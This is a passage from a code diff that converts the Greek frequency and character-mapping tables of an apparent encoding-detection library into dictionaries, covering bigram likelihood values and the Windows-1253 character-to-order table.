44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 7: { # 'σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 2: { # 'τ' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 12: { # 'υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 28: { # 'φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 1, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 23: { # 'χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 42: { # 'ψ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 24: { # 'ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 1, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 19: { # 'ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 1, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 26: { # 'ύ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 27: { # 'ώ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 1, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 1, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, +} + +# 255: Undefined characters that did not exist in training text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 +# 251: Control characters -# Character Mapping Table: -Latin7_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 - 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 -253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 - 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 -253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 -253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123, # b0 -110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 - 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 -124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 - 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 -) - -win1253_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 - 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 -253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 - 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 -253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 -253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123, # b0 -110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 - 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 -124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 - 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 -) +# Character Mapping Table(s): +WINDOWS_1253_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '€' + 129: 255, # None + 130: 255, # '‚' + 131: 255, # 'ƒ' + 132: 255, # '„' + 133: 255, # '…' + 134: 255, # '†' + 135: 255, # '‡' + 136: 255, # None + 137: 255, # '‰' + 138: 255, # None + 139: 255, # '‹' + 140: 255, # None + 141: 255, # None + 142: 255, # None + 143: 255, # None + 144: 255, # None + 145: 255, # '‘' + 146: 255, # '’' + 147: 255, # '“' + 148: 255, # '”' + 149: 255, # '•' + 150: 255, # '–' + 151: 255, # '—' + 152: 255, # None + 153: 255, # '™' + 154: 255, # None + 155: 255, # '›' + 156: 255, # None + 157: 255, # None + 158: 255, # None + 159: 255, # None + 160: 253, # '\xa0' + 161: 233, # '΅' + 162: 61, # 'Ά' + 163: 253, # '£' + 164: 253, # '¤' + 165: 253, # '¥' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # None + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # '®' + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 253, # 'µ' + 182: 253, # '¶' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, # 'ώ' + 255: 253, # None +} -# Model Table: -# total sequences: 100% -# first 512 sequences: 98.2851% -# first 1024 sequences:1.7001% -# rest sequences: 0.0359% -# negative sequences: 0.0148% -GreekLangModel = ( -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, -3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, -0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0, -2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0, -0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,2,3,3,0, -2,0,1,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,2,3,0,0,0,0,3,3,0,3,1,3,3,3,0,3,3,0,3,3,3,3,0,0,0,0, -2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,0,3,0,3,3,3,3,3,0,3,2,2,2,3,0,2,3,3,3,3,3,2,3,3,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,3,2,2,2,3,3,3,3,0,3,1,3,3,3,3,2,3,3,3,3,3,3,3,2,2,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,2,0,3,0,0,0,3,3,2,3,3,3,3,3,0,0,3,2,3,0,2,3,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,3,3,3,3,0,0,3,3,0,2,3,0,3,0,3,3,3,0,0,3,0,3,0,2,2,3,3,0,0, 